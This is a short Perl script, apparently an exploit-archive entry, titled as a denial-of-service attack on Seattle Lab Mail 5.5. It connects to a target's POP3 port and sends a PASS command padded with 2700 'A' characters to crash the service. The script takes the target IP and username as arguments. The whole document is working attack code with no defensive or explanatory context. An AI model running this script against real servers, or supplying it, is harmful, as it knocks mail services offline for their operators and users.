Seattle Lab Mail 5.5 Denial Of Service

use IO::Socket;sub intro {    print "***************************************************\n";    print "*          Seattle Lab Mail (SLmail) 5.5          *\n";    print "*                                                 *\n";        print "*             Coded By Fernando Mengali           *\n";    print "*                                                 *\n";    print "*       POP3 'PASS' Denied of Service - DoS       *\n";    print "*                                                 *\n";    print "***************************************************\n";}intro();    if (!$ARGV[0] && !$ARGV[1]) {        print "\nUsage: $0 <ip> <username>\n";        exit(0);    }my $host = $ARGV[0];my $username = $ARGV[1];my $port = 110;my $payload  = "A" x 2700;    my $s = IO::Socket::INET->new(        PeerAddr => $host,        PeerPort => $port,        Proto    => 'tcp'    ) or die "Unable to connect: $!\n";    $s->recv(my $data, 1024);    # Grab banners (if any)    $s->send('USER ' . $username . "\r\n");    $s->recv(my $response, 1024);    $s->recv(my $data, 1024);    # Grab banners (if any)    $s->send('PASS ' . $payload . "\r\n");    $s->recv(my $response, 1024);        $s->send("QUIT\r\n");    $s->close();